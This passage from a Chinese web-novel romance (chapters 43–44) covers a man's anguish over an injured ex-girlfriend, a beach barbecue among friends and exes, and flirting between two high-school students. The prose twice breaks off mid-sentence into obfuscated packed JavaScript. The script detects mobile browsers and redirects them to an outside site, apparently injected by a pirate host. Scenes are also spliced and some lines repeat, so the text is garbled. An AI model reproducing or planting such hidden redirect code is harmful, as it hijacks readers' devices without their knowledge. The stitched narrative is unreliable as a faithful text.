妃子突然抓住蒋商鉴手腕:“你记不记得我跟你说过,她大一翻墙特地给我送饺子?”他咧开嘴笑,眼泪却垂直坠进领口,“结果摔个大马蹲,饺子都摔得稀碎。” 蒋商鉴看着他把手机通讯录划一遍又一遍。 许和隋的名字在“急诊科李主任”和“狗头老高”之间不断闪烁。 “真要打?”蒋商鉴按住他发抖的手背。 妃子突然触电般抽回手,解锁屏幕的动作像在拆炸弹。 塑料瓶滚到蒋商鉴床边。 妃子盯着来电显示的表情,像被推上绞刑架的囚徒突然发现绞索是彩带。 他划开屏幕时指甲在钢化膜上刮出刺响,嘴角还挂着惯有讲黄色笑话的弧度。 “宝贝儿想我了?”轻佻的尾音被消毒水浸泡得发胀。 “别贫,我都知道了。”对面语气很淡定。 “许和隋,我是烂人,对,就是想吃软饭的垃圾……您千万别心软,真的,往我脸上泼咖啡都行……”他忽然哽住,脖颈暴起青筋,“是,就算她只剩半拉也……" 电话那头传来纸张翻动的沙沙声。 “医药费我垫了。”许和隋的声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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许和隋的名字在屏幕上再次跳频。 妃子盯着看了十秒,突然抓起手机砸向墙壁。 金属外壳崩飞的瞬间,他哑着嗓子吼:“老子不后悔了!真不后悔!” 深夜的住院部走廊像条冰冷的肠道。 蒋商鉴终于找到他。 妃子正蜷在自动贩卖机后面啃指甲。 显示屏蓝光打在他脸上,映出满脸泪痕。 “她一定好痛吧,”他盯着虚空喃喃,“以前我打篮球骨折,疼得嗷嗷叫,她给我喂了三个月饭......” 许和隋的电话在凌晨三点打来蒋商鉴手机。 妃子握着蒋商鉴的手机,指节泛青。 “钱要多少?”女声带着薄荷味的清醒,“我打你账上,但你得想清楚,真要担负责任那就得一辈子,后悔了以后想离婚都承担社会道德压力,知道她家欠多少外债吗?知道残障人士就业率多低吗?还有你以后结婚生孩子后承受的压力……” 这段话问得又轻又快,仿佛被烫到似的。 妃子突然对着话筒笑起来:“谢谢。” “不客气,以后别后悔就行,不然那女孩估计会崩溃,送佛送到西,送半拉容易招惹怨恨,你现在得想清楚,不要冲动,一辈子事情得考虑清楚。” 蒋商鉴觉得许和隋人不错。 妃子握着手机站在窗边,塑料瓶从他头顶滚到瓷砖上发出空洞的回响。 雨停了。 月光把那人背影拉得极长,肩膀却缩成佝偻的一团。 像被无形的手攥住的虾米。 “喂?”妃子突然笑出声,“大半夜的诈尸啊?还不睡?” 笑声在病房里炸开时带着金属刮擦般的刺耳。 蒋商鉴看见他左手神经质地抠着窗台缝隙,指甲缝里簌簌掉下白灰。 “真不后悔?” 妃子转身时手机屏的冷光打在他脸上,嘴角还滑稽翘着,眼泪却顺着法令纹淌进咧开的嘴里。 蒋商鉴突然想起好几小时前这人顶塑料瓶扮小丑模样,喉头泛起酸涩的锈味。 妃子站久了,腿都麻了,踉跄着撞翻椅子。 蒋商鉴伸手去扶,摸到他衣裳下绷紧的肩胛骨在发抖。 妃子抹了把脸,指尖还沾着窗台的白灰,他抓起矿泉水猛灌,吞咽声混着哽咽。 蒋商鉴看着水珠顺着他下巴滴在微信置顶对话框上。 “你卡里不是有家里给的买房首付?”蒋商鉴话音刚落就后悔了。 妃子突然暴起把空瓶砸向墙壁,塑料壳弹到病床栏杆发出惊心动魄的脆响。 “那可是许和隋!烟草局!编制!她一家子都有钱,她七大姑八大姨都出息,都不差钱,”他眼眶赤红地揪住自己头发,“我要是跟她在一起……” 尾音陡然变调,像卡带的录音机发出尖锐的杂音。 蒋商鉴看着他抓起充电器往包里塞,拉链齿却反复卡住。 “我送你去银行。” 话刚出口就被按回病床,妃子手心的冷汗透过病号服渗到他皮肤上。 “无论怎么着,你都会选倪旖,就算她没钱。”妃子突然笑起来,泪痕在脸上结成晶亮的盐壳,“但我他妈不是圣贤啊商商,八十万是我父母一辈子积蓄,扔水里还能听个响……” 他摸出颗菠萝糖塞进嘴里,嚼得腮帮鼓起狰狞的弧度。 “她少条胳膊,腿还瘸了,父母瘫着,我这辈子……” 蒋商鉴看见他脖颈后黏着绺湿发。 空调风里飘着咸腥的汗味,混着菠萝糖甜腻的香气。 窗外又开始下雨。 妃子把钱包里银行卡一张张排在窗台上。 五张卡在雨幕中泛着冷光,像列队的锡兵。 “你记不记得食堂蟑螂汤?”他忽然没头没脑,“当时我说要讹学校三万块。” 水珠顺着玻璃蜿蜒而下,在他脸上投下扭曲的影。 蒋商鉴看着他往转账界面输入金额,手指悬在确认键上迟迟不落。 雨声中忽然混进机械的电子音:“余额不足。” 妃子愣了半秒,突然大笑起来,笑得整个人蜷成一团,手机啪嗒掉在积水里。 “我他妈……”他抹着脸直起身,“老子命硬,喝自来水都能活。” 他哭得呕吐,像受伤的兽类在舔舐伤口。 妃子倒退着撞上墙壁,蹲下来捂住脸。 “操,老子连她现在的样子都不敢想......”指缝里溢出的呜咽混着破碎笑声,“你说她单手怎么换洗澡?会不会疼得骂我王八蛋?” “妃子……” 蒋商鉴红了眼眶,垂眸,简单算算开支,将手头多余的钱打到妃子账上。 妃子接下来会手头很紧。 43.烧烤 Kim烧烤摊离海很近,倪旖一踩着细碎的沙,感觉都要陷下去,空气中总弥漫着海的味道。天气闷热的时候,鼻孔和耳朵上会附上一层盐渍。 倪旖一进入那俩视线,成为一颗制造混乱的行星,把他们吸出了原来受到莫名宇宙力量相互制衡的卫星轨道。 许和隋像早料到她要来似的,起身摁着她肩膀殷切地揽过去,一盘俩人爱吃的夏威夷坚果与水果酸奶什锦糖已经摆好,跟过年散装糖果似的鲜艳彩虹外装。 “Kim以前都是英伦范儿,怎么现在穿得跟个屌丝一样。”许和隋坐在,晃着椅子凳腿啃着羊肉串,抬眸时看着在烧烤摊手忙脚乱的Kim就带着不屑。 “你嘴巴能积点德嘛?”Kim撒着五千万烧烤料,额头带着汗液,这天气根本就不热,就是前女友在,心里发虚。 “嗨,你俩都说上话了?”倪旖把塑料椅往边上一撇,手提包往沙滩一丢,满脸闲适躺着舒坦,这松弛感堪比掉到地上的小米粒怎么拾掇都收不起来。 许和隋把她手提包拍拍沙粒放在小凳上,边嘟哝:“我们不能说啥?” 戛然而止,倪旖抬眸不解。 许和隋笑得灿烂,就像小孩子做了恶作剧得逞了般得瑟。 倪旖幽怨瞥一眼那装无辜的人,不无抱怨:“这还不关你事情?都在朋友圈说了你俩死也不复合,你这就是欺诈,钓鱼执法,哼!” 许和隋见状立马转移话题,怕气氛变糟糕,随意将吃完的将烧烤木签往盘里一丢,给Kim递眼色,慢慢道:“应该是零几年,当时很多海外剧还是字幕组在为爱发电分工搬运、翻译,论坛曾有网友说你也在其中一个字幕组帮忙并贴了张照片,现在一身酒肉气息?” “我,你嘴巴还是一点没变?”Kim就很无奈,但也让她撒丫子发泄。 “这不是事实?”许和隋撑着胳膊往海面看。 “你怎么看出来的?”倪旖怕他俩打起来,赶忙笑嘻嘻缓和关系。 “酒精摄入过多身体浮肿,时间长了眼袋就越来越明显,烟抽多了皮肤会变差,长时间去夜店昼夜颠倒会导致眼睛浑浊,面目呆滞。上床过多对人体的损耗也是毁灭性的。”许和隋抬脚踢了下沙子。 “……”Kim沉默不语。 “我哥他没鬼混。”倪旖解释得很苍白,毕竟他那面相也不像是个乖乖仔。 “我管他鬼不鬼混,又不是我对象。”许和隋撑个懒腰。 “都说和平分手,你嘴上还不饶人。”倪旖嘟囔道,各打三十大板。 许和隋百无聊赖刷着手机,Kim养得那条六十斤的边牧精准扑倒她,大舌头甩得跟科帕奇螺旋桨一样。 “你俩复合了吧?”倪旖被耍了好生气。 “没。”Kim难得笑得灿烂。 “哥,柯南是你在分手后养的,照理说,它就不认得我姐,他俩这关系,你觉得我是傻叉?”倪旖白眼,伸手够那冰柠檬红茶,就是试了两次没碰着。 “真没,我俩就是生理欲望比较强,我刚干工作,没时间调戏男人,只好Kim闲来顶着呗,一来二去,柯南就认识我,很简单关系。”许和隋揉揉发皱的眉,慢条斯理。 “……”倪旖总算知道自己渣女遗传谁,白一眼,顺便去够那玻璃杯。 许和隋手长,把杯子连带吸管给她递过去。 “我——”草!倪旖话没说完,就被强制禁止发言。 “不准说脏话。”许和隋摸摸她下颚骨,跟摸宠物似的,凑她脖颈,嫌弃,“你身上一股蜂蜜甜腻味,好恶心,血糖很高?你去医院检查一下。” “……”倪旖都怀疑自己。 “赶紧的。”Kim也附和。 “哥,我想换个手机。”倪旖可怜兮兮跳起来,攥着Kim衣袖晃晃。 “你哥我也想换个手机。”Kim无情拒绝,闪躲到一遍,专心致志转签子,“找你姐去。” “哼~”倪旖嘴巴一歪略表不屑,随后跑到许和隋沙滩椅边蹲着,晃晃椅子扶手,可怜兮兮抬眸,“那你就不要再吊着妃子哥,人挺喜欢你的。” “其实很多人都会吊舔狗,无论男女,而且舔狗们也喜欢被吊着多过一点机会没有。再说,妃子人挺好啊。”许和隋没直接答应,只是好奇看着突然没那么邪恶的倪旖,这小鬼之前可是无恶不作。 Kim很冷静说着,算着直接反驳女友那海王思想:“不喜欢就表明态度,大家暗示都懂。” “我不懂他暗示。”许和隋装傻,攥着一杯薄荷柠檬雪碧小口咬着。 “有要一群狗子干嘛,说的就是你,许和隋。”Kim直视眼神躲闪的许和隋。 “哈哈哈哈,我对象也是我的舔狗,但我喜欢,哈哈现在他也还是我的舔狗,我也是他的舔狗。”倪旖疯狂缓和两边关系,就跟父母吵架无助傻乐的孩子似的。 “你什么时候有对象了?”Kim脑袋一根线断了。 “蒋商鉴,上次跟我来吃烧烤的帅哥,我还说一定追到他。”倪旖略带失落。 Kim将刚刚烤好的蛤蜊和八爪鱼给放铁盘里,唏嘘:“你下手挺快啊,那小兄弟确实长得不错,就是性格敏感,你悠着点。” “确实敏感,特爱撒娇,老是限制我行动。”倪旖不知不觉语气就夹起来,脸上也带着小甜蜜的笑意。 “你还挺惨?”许和隋有点心疼倪旖,抚摸她额头。 “不惨啊。”倪旖死鸭子嘴硬道。 “一辈子只有他一个男人还不惨。”许和隋就随便敷衍着。 “你觉得男人就一回生意,唯独这赌是有来有回。”Kim语言不明。 “唉唉唉,姐,那小老板小蜜我揍了一顿,咋整?”倪旖突然想起麻烦事。 “哈?你干嘛那么莽撞?我想想再告诉你具体措施。”许和隋微蹙眉,往上推着眼镜叼着一根刚燃着的香烟,为了不让香烟的烟雾熏到双眼,她把脑袋向后倾斜,眉头扭曲,在手机微信上轻快地敲打着字来回复舔狗妃子大兄弟。 倪旖耸耸肩膀,怼着手机刷消息,上面有聊天页面。 “你就是太谨慎,她家那情况,揍个人还考虑后果?”Kim捏着蒲苇扇柄缓慢将风向变了后往姐妹俩那边吹的海风往边上扇扇。 “低调好吧,咱这些小兵小卒别动了祖辈的蛋糕,容易挨揍。”许和隋白眼。 “二世祖是挺要命。”Kim表示赞同,随后被远处旅游打卡网红景点的比基尼兔女郎吸引目光,不加掩饰带赞美眼光望着完美身材,对视时甚至点点头打招呼。 许和隋磕着瓜子直接朝他那边不屑啐了口:“挺性感吧?” “嗯。”Kim大大方方称赞。 “长相也挺对胃口?”许和隋手掌一用劲,被瓜子硌得有点痛。 Kim连余光都不分给复合女友,继续不吝啬称赞:“重点不是长相,那给人感觉就好像勾人的劲儿已经刻在八字和骨髓里一样。” 许和隋微微蹙眉,随手将燃尽的烟头直接往Kim项链小圆圆玉坠那里摁灭,动作极其自然,那块水润光滑的小玉坠瞬间就沾染灰烟粒,有些还没熄灭的橙色星星点点还在挣扎。 Kim桀骜不驯挑挑眉,用指尖戳戳玉坠小绳小幅度晃晃,将烟灰掸尽,只是玉上烟渍微微褐黄色挂着,连玉都被烫伤,底下盖着一点点不算白皙皮肤也被烫得微微发红。 许和隋抬眸时浅浅笑意那种威胁意味瞬间上来了。 “那叫什么来着?性张力?”倪旖还没看到这一幕,也喜欢性感美女,还肆无忌惮举着可乐跟人隔空碰杯,笑得灿烂。 许和隋瞥一眼,本来挺生气的,结果瞬间心花怒放,别说,身材真不错,笑得很松弛,那种健康美,感慨:“要是她是我对象就好了。” “那我俩就成情敌了?”Kim摸摸后颈,随后坐在一个沙滩折叠军绿色椅上,极其自然舒展着肩膀,就随手给姐妹俩剥橘瓣搁置叠放两层纸的木桌上。 “……”许和隋看他一眼,“突然这么细致?” Kim指尖微微一蜷,抓过她微微翘着的手放在掌心捂着。 许和隋嫌弃道:“根据我的观察,你的表情绝对是屁股碰到海水了!” 倪旖乐呵呵瞅着,就像父母复婚时傻孩子似的。 许和隋把手从他胸前抽离,掩饰不住嘴角笑意,将橘瓣往她笑歪的嘴巴塞两三瓣,害臊似的僵着声音掩饰:“多吃点。” Kim拎着玻璃水壶给她倒一点澄澈淡黄的菊花茶:“倪总那上热搜的表情包你P的吧?” 倪旖装傻充愣:“啥啊?” Kim端着小玻璃盏给她喂水,等她小口小口啜饮,慢慢悠悠:“鸣山好多广告都是这样发神经的,可能和企业文化有关,还有家庭氛围有关。” 许和隋笑得手抖,写满Kim熟悉字迹的手稿和Kim住研究所时辛辛苦苦收集整理的草稿纷纷从手中哗啦啦散落,一着急,便弯腰快速拾起来。 “你们说啥呢,我一丁点都不懂。”倪旖继续装聋作哑。 许和隋将手稿拿干燥玻璃盏压住手稿,尽情伸开长腿躺懒人椅上,自在跷起二郎腿,仰面朝天,伸开双臂抱住后脖颈,目不转睛地盯着手忙脚乱的倪旖。 “Kim哥,你那办公单位如何?”倪旖转移话题。 “我感觉那单位氛围真挺不错啊,大家关系都很好,领导们也都很和善,聚在办公室说说笑笑真开心。”Kim一副俏皮神情望着许和隋。 许和隋瞪他一眼:“那你就是基层打杂的小卡拉米,关键时候背锅用的。” Kim一副不解模样。 “我姐她说得不能太对,你还没涉及核心层勾心斗角呢,人拿着六七千工资都累成狗,哪有精力尔虞我诈耍计谋呢?”倪旖幽幽补充,喝了两口Kim喂的茶。 “Kim。”许和隋只是很温和勾勾手指,鼻梁上还戴着一副细长方框眼镜,整个人清泠泠的,有种高智感的美。 Kim笑得僵硬,脱口而出:“你说得对。” 倪旖端着小板凳往边上躲躲,远离漩涡,顺便还故意搅水让局势更加动荡。 Kim那叫一个快速端着小折叠椅往同方向躲躲。 许和隋摸着一本刚出版书籍,随手翻了翻,书页很干净细腻,哗啦哗啦。 “怎么样?”Kim见她摸着书看着简介和条例整齐的目录。 许和隋慢条斯理指着某一条金句下面一小段波浪红线,微微蹙眉,深思熟虑陈述:“个人觉得略有偏激,不够客观,但我觉得被禁的真正原因是内容有悖中国传统文化。” “你怎么知道这是禁书?”倪旖就是个文盲。 “Kim不爱看书,如果是违禁的,那就会好奇。”许和隋熟稔解释。 拜这些双方都不承认的爱意所赐,即便在这不经意交谈中,倪旖也像是听到了他俩舌尖上用心暖热了的语言。 “这就是倪总趴地上半天拍月亮,然后轻描淡写发微博交作业,但立即被匿名揭露出来的那拍得煞费苦心的摄影班嘛。” 许和隋将手机屏幕放在书籍夹缝里顺着小桌板往前推推。 倪旖扶着额头躲避这个问题,只是半带敷衍道:“是嘛?” “每次作业都把人整疯了。有一次赶作业,网上爆料,倪总一大早就跑到科技园星巴克里拍同事。不少同事不知道要干嘛,咖啡没喝完,就全跑了。”Kim笑得要死,次啦一声拧开冰镇可乐,手掌沾染些凉凉的露。 “我不知道哎。”倪旖继续装傻,其实网上那堆倪总表情包一半都是她整的,不乏有内部会议截图表情包,就算上面系统提示姓名工号,但管它呢,照样整活。 总不好把他亲闺女扭送警局。 “谁家的董事长开发布会像倪总一样说,今天我给大家汇报一下啊,都说给大家开个会,开你妈会,就你会开,呵,点名我单位领导,好傻逼。”许和隋瞬间暴躁起来。 “不聊这个话题好不好?”倪旖真的怕承认自己干的坏事给倪总听到,虽然说他走的是亲民路线,但被亲闺女整蛊多少挂脸,摸着冰玻璃杯微凉水珠,抬眸看着那俩岁月静好的人,“你们什么时候结婚?” 许和隋难以置信一秒,光速摆头,懒懒躺在沙滩椅上将双腿往前抻,漫不经心瞥一眼远处快速流动的水雾薄云:“老子世界观里没出息的男人等于死人。” “……”Kim心一痛,抬起手指慢悠悠覆上她胳膊肘,“我是死人?” “从高中毕业开始,我姐的人生仿佛就只有特大赢、超级特大赢、宇宙无敌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293082|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 超级特大赢这三个选项。”倪旖特会这种补刀技术,再半带蔑视望一眼还在经营烧烤摊的本科基础数学教授,“……你呢?” “其实,我对许和隋没情侣荷尔蒙,只有ATM激活成功的优越感。” Kim有点傲娇般自暴自弃,随后一把搂住懒散躺着的许和隋的腰,顺着劲直接将人箍到自己腿上坐着。 许和隋单手搂着脖颈,靠在他肩膀上,邪邪一笑,随后将目光定倪旖脑袋上,不无挑衅道:“这应该是你现男友感悟吧?” 暴起的倪旖简直冒火,咕咚咕咚把玻璃杯里冰镇果汁喝完,鼻孔冒气:“我家那位根本就不会为了钱跟我在一起的,他很纯粹的。” 许和隋笑笑,半是认真开玩笑:“处男一般有情感洁癖,尤其是没本事那种,更是不得了,怎么能接受他视若珍宝的王羲之兰亭序盖了乾隆的章?” Kim指尖偷偷挠几下许和隋瘦劲有力腰肢。 几周没被男人碰的许和隋从腰肢往下一阵颤栗。 Kim敷衍,望向许和隋时眼里瞬间有光,眉间是微微用力的,就像被一根手指轻轻点了一下,温温热热的。 “你们好讨厌,”破坏王倪旖再次暴躁上线,居然被迫吃狗娘,本着谁都不能吃饱原则,好家伙,不仅把碗给摔碎了,还把锅一脚踹飞了,“姐,你跟哥分手期间,哥他看你视频时都很愤怒,然后他说,真的很想把弹幕里所有‘妹子好腿!’‘妹子求约’‘我老婆!’‘拔刀!’的拖出来阉了。” 许和隋侧眸挑了极其意味深长的眉,带着意味深长的笑容,半拖着慵懒声调:“Kim吃醋啦?” “……没。”Kim逃不掉那极具魅惑性眼神,不自然躲掉,随后睺一眼倪旖,暗自叹息,“我才没不争气。” 当时分手都放狠话,谁乐意吃回头草谁一辈子就是绿毛龟。 可俩人剪不断理还乱,就算结束情侣关系后在酒店也消费几十次,每次都面无表情进门,裤子一脱风风火火,拉链一拽冷漠离场。 “那干嘛不跟我提复合呢?”许和隋装作若无其事撩拨他,指尖细细摩挲他泛红的喉结,雕刻般突兀本以为很坚硬,但随喉结上下滚动,又有点丝滑柔软。 “……因为我一丁点都不想当绿毛龟。”Kim忍得要命,直接原地站起,稳稳当当横抱着许和隋,大步流星往贝壳灰岩建筑宅那边走。 “那你摊子谁管?”倪旖跳起来。 “自己吃完,再收个摊。”Kim头都不回敷衍潦草。 倪旖盯着那一小堆烧烤头皮发麻,被晾在原地不知所措,这算是给他俩滚床单添了把柴,好郁闷,这下没人陪喝酒聊天,老人家屋头都空虚寂寞冷。 有了! 倪旖从桌上摸起来手机,笑嘻嘻拨通联系人。 “喂——,咋啦?” 很平常的女孩子声音传来。 “愈合,过来呗。”倪旖撒娇耍赖。 “好,地址发给我。”林愈合将纸笔快速收书包里。 “你不问我喊你出来干嘛?”倪旖恃宠而骄,快速将地址搜索并且复制粘贴到聊天对话框里。 “杀人放火嘛?”林愈合撸一下袖口看了心脏监听器电子表,显示现在快午饭时间,“吃什么?” “烧烤,要不要多喊人过来?”倪旖愉悦得翘尾巴。 “把硫化氢,大马猴,甄大美女,丁哥哥,索隐,若若,隋炀帝牡丹诗人,这些馋嘴娃都喊过来吧,我刚好遇到几道数学概率统计捋不清楚,他们来教教。”林愈合打哈切,真是好疲倦,大清早就被鸡娃妈妈喊起来刷题,搞了两套卷。 “你不是跟甄凝关系炸裂嘛?”倪旖开玩笑,这些死党嘴巴里都没一句好听的,骂爹骂娘,互相看不上,也不想跟彼此成为朋友,但一到饭点都蹭吃蹭喝。 “那更得多喊点人来掩饰我的恨意。”林愈合拍拍鼓囊囊书包,将书桌椅往后一拽,冲着门口闻声而来、举着锅铲要揍人的监工妈妈挑眉,“倪旖请我出去吃饭,晚上不一定回家吃,就这样,走啦。” 监工看到女儿手机联系人名字,瞬间眉飞色舞,刚要脱口而出刺耳的push声就在须臾间变为温柔声音:“我们卡卡请饭吃嘛?Hello,卡卡,听到阿姨声音了嘛?” 倪旖在手机那头略微紧张:“阿姨好。” “你好你好,要注意安全哦。”监工难得笑得温柔。 “很安全,我那一帮同学都来,走啦妈妈,我去对门顺道把大马猴带走。”林愈合都懒得嫌弃,在换鞋架前快速换好出门的板鞋,等出家门口总算呲溜吸了一口自由空气,扒在对门猫眼前偷偷听鸡飞狗跳声。 “妈!”谢灵桓捂着被子睡眼惺忪,语气都带撒娇。 “我打不死你!”谢妈举着苍蝇拍就往桌上扇。 “干嘛!”谢灵桓吵得脑瓜子嗡嗡嗡,连忙往被窝里躲躲,身子沉重得抬不起来一只手指头。 “都太阳烫屁股,你才醒!”谢妈又拍拍桌面。 “周末嘛!”谢灵桓气得直愣愣坐起来。 “人林愈合早早就起来刷题,你还说梦话呢,你看你看,一丁点都不努力,过了暑假就得高三,你看看你,保送差两名,还不努力你上什么大学!”谢妈唠唠叨叨。 “哎呦!你那么喜欢努力的林愈合,你当她妈去,周末周末,就得好好休息,我睡一会嘛,妈,妈,你快点从我房间出去,我困!”谢灵桓揉揉脑袋,眼睛都睁不开,体力不支就要往枕头上歪。 谢妈把人鼓捣着靠在墙上,气得发笑:“嘿,我改天见着林愈合妈,我就跟她换孩子!” “择日不如撞日,今天,我去给你敲门!”谢灵桓不堪其扰,跟着感觉连鞋都不穿,就提溜着个裤衩子到门边上跟老妈呕气,想都不想就打开门,还没发现林愈合突然看到他就一裤衩子出现而满脸通红,站着不知所措。 “……”谢妈瞳孔放大,这下闹大发了。 “你去你去,找林愈合,让她给你当女儿,走,不好意思?那我给你敲——”谢灵桓一转头就看到呆若木鸡的林愈合,她早就红成熟虾,“……哈?” “……”四目相对,谢妈想生二胎,立刻把大儿子塞行李箱里抛弃。 “啊!”谢灵桓尖叫着捂着前后裤衩躲到房间。 44.女友 “……”四目相对,谢妈想生二胎,立刻把大儿子塞行李箱里抛弃。 “啊!”谢灵桓尖叫着捂着前后裤衩躲到房间。 “阿姨好?”林愈合歪着脑袋尴尬到脚趾头把地板都抠穿,笑得僵硬,感觉下一秒就得裂开。 “你就当啥没看见,小心长鸡眼哦,怎么啦?愈合,是有什么事情嘛?”谢妈回馈标准假笑。 “我找谢灵桓出去吃烧烤,跟倪旖那帮人一块,刚准备敲门呢,吓我一跳。”林愈合低头尴尬拽着书包带带,脸颊绯红。 “就来!”躲在房间的谢灵桓偷听呢,这会儿慌忙找两件衣裳穿上,照照镜子,感觉不对劲。 谢灵桓想着林愈合今天是浅蓝色牛仔背带裙,便将海边冲浪花花里胡哨大红裤衩脱下,找到一条绷直的同色系牛仔裤套着。 虽说不舒服,但可以偷偷穿情侣装呢。 “谢灵桓,好了没,再不快点我就走了。”林愈合感觉等待时间好长好长,在谢妈热情倒水聊天间简直尴尬要死,她都想象十年后要是嫁给谢灵桓,会被婆婆唠叨死。 呸—— 谁要嫁给谢灵桓! 他那个猴子……林愈合一抬眸,见到挥不去的阴霾般的阳光大帅哥笑盈盈朝她wink,好像不是刚才就一内裤的大马猴先生,还真的挺帅的。 “帅吧?”谢灵桓得瑟一笑。 “帅你个头!”林愈合感觉脸颊更烫,对上谢母那欣慰表情很礼貌起身道,“阿姨,我跟谢灵桓先走了。” “妈,我走啦!”谢灵桓盯着林愈合白板鞋,再次挑了个白鞋跟她穿情侣鞋,愉悦得直接跳起来投篮似的用手掌拍一下门楣。 哐当一声! “幼不幼稚!”林愈合出来顺道把人关上,朝他豆沙粉衬衫下瘦劲腰肢推搡一下,谢灵桓故意配合往前一个帅气潇洒的踉跄,貌似手感还不错,劲儿劲儿的。 “林愈合,今天可真晴朗!”谢灵桓回眸朝她一笑。 林愈合转移视线,没搭理他,突然觉得他受女孩子欢迎是应该的,他明明前几年还被自己打得流鼻涕叫好姊姊呢,怎么现在……一抬头,略微无语,这么高的嘛? 半晌,本来狭长而微扬的眼尾没道理地压下来。 “林愈合,我的意思是,我们牵个手吧!” “不要。”林愈合撅嘴佯装拒绝,还把手背身后。 谢灵桓叹息,随后半跑半跳往楼梯下蹦哒,一不留神就把跺脚耍赖的林愈合甩后面四五个阶梯,听到她急促呼吸声,便转头,就见林愈合跟蝙蝠似的滑翔翼展开。 林愈合结结实实被谢灵桓抱住,偷偷摸摸乐呵呢。 “你!”谢灵桓小腹被撞得生疼,嘶溜两声,将人搂在怀里用腰肢一使劲往上颠两下,“你看你,砸得我腰快断了。” “谢灵桓,我脚好痛。”林愈合下巴垫他厚实肩膀,深深嗅一口他身上阳光味道,很干净。 谢灵桓拍拍她胡乱折腾往上窜的软腰,温柔道:“那别乱动了啊,掉地上磕着碰着我不负责的。” “我有几道题不会,想着等会儿问问他们。”林愈合困倦厉害,不像谢灵桓可以睡到中午,她早上六点就被撺掇起来,昨晚还熬夜到一点半钻研题目呢。 谢灵桓邪邪一笑,侧眸挑了眉,故意逗她:“哟,我还不够你问的,别去烧烤聚会了,我带你去书店把那几道题目讲明白,你这脑瓜子怎么才能去到燕大?” “你这是在嫌我笨?”林愈合难以置信。 “不然你以为?”谢灵桓刚到楼下,被一搂老居民散养的哈士奇狗叫声吵得耳膜痛,那狗叫得很嚣张,呵,他便闲闲吹一声口哨,吊儿郎当的语气带着些微的喘,“宝贝儿,叫,再叫把你蛋噶掉。” 林愈合刚要骂谢灵桓居然如此大胆敢说她笨,但嚣张流氓的声音让她瞬间胆意全无,磕磕颤颤敷衍:“我没那么笨,至少比你想的笨还聪明那么一点点。” “嗯,我家林愈合最聪明。”谢灵桓拍拍她后背,只是手掌碰到凹凸不平的金属物,好疑惑,可还是纠结要不要询问,毕竟女孩子禁忌多,踩雷还怎么追老婆。 “谁是你家的?臭不要脸。”林愈合扭头害臊。 “我妈不是让你当她闺女?”谢灵桓强行掰她脑壳。 “谁要当你妹!”林愈合气得冒烟。 “哦,”谢灵桓偏头,“……那你当我姊姊?” 林愈合瞪他一眼。 “总不能我当你姊姊吧?”谢灵桓摸不着头脑。 “你!”林愈合气得笑出来。 谢灵桓逗她玩呢,就是刚搂她时那金属物更加明显,格外好奇,小声嘀咕:“还负重嘛?” “什么?”林愈合还没意识到,直到谢灵桓用指尖戳戳那金属凹凸物,脑子一瞬间宕掉,快速从他怀抱里挣脱开,拔腿就往小区门口。 “干嘛?”谢灵桓轻而易举把她锁喉限制前行,“我妈嫌我腰挺不直,给我买矫正背带,摸起来感觉跟你的差不多。” 林愈合动弹不得,脸颊烫得厉害。 “怎么突然暴走?”谢灵桓还不懂呢,顺便把她双手攥住,这下就跟绑犯人似的一丁点都不会溜掉。 “我尴尬。”林愈合轻轻咬他暴起青筋的小臂。 谢灵桓没松手,只是轻轻一笑:“尴尬毛啊?不想说就不说,肯定我触碰到女孩子害羞的地方,该道歉是我,对不起,林愈合,我很冒昧。” “没事,你有女朋友就会知道的。”林愈合耸耸肩。 “林愈合,我没女朋友,但我好想知道,你可不可以暂时——”谢灵桓话还没说完就被捂嘴警告。 林愈合竖着食指假装凶狠威胁:“不可以!” “可我太想知——”谢灵桓刚挣脱开就又被捂嘴,随后耳朵一热,紊乱潮湿气流吹到耳孔里,痒痒的。 林愈合说完悄悄话后便脸颊红红地躲在一边。 谢灵桓脸颊一瞬间飙红。 俩人一路隔着两米距离,默不吭声地去目的地。 “我昨晚梦见我结婚了,还牵着你……就我穿着蕾丝婚纱老婆宴席敬酒呢。” “嗯?” “一醒来发现是我蚊帐塌了。” “哦。” “不好笑嘛?” “哈!哈!哈!哈!” 气氛更加冷了。 谢灵桓突然停住脚步。 林愈合抬眸。 “你想过之后跟一个男人结婚嘛?”谢灵桓胆怯。 “没。”林愈合红着脸解释。 “为什么?”谢灵桓不依不饶。 林愈合大着胆子道:“……比起当一个男人的老婆,我比较想当一群男人的老板。” “有志气。”谢灵桓松口气,随后欲盖弥彰,“我以后结婚呢,我老婆不用当家庭主妇,也不用生孩子,她想做什么就做什么。” “哦。”林愈合垂眸很认真。 谢灵桓双手托起她脸颊,指尖轻轻触碰她温软唇角,很认真垂眸:“你开心我就会开心,所以我要让你开心,这就是大学霸的逻辑。” “干嘛?”林愈合轻咬下唇,不知道该怎么办。 “就告诉你一声,我会对我老婆很好的。”谢灵桓一点都没平时吊儿郎当轻佻模样,迫不及待寻求认可。 林愈合推搡开,抬眸害羞道:“谢灵桓你不要总这样瞎许诺言,你奖学金零花钱什么的都被家长没收,吃雪糕都得我请客,你要点脸,哼!” “你急什么劲儿啊?我对我老婆承诺呢。”谢灵桓故意看她害臊到钻到地底模样,那样手足无措。 林愈合气得掉眼泪,扭头就走。 “小短腿捯饬得挺快啊!”谢灵桓跟在她屁股后面哄着都不带原谅的。 也不知道妃子哥咋整? 倪旖叹息,忽然手机嗡嗡震动,一摸看到联系人名称,微蹙眉,还是接通。 “于探赜,干嘛?” 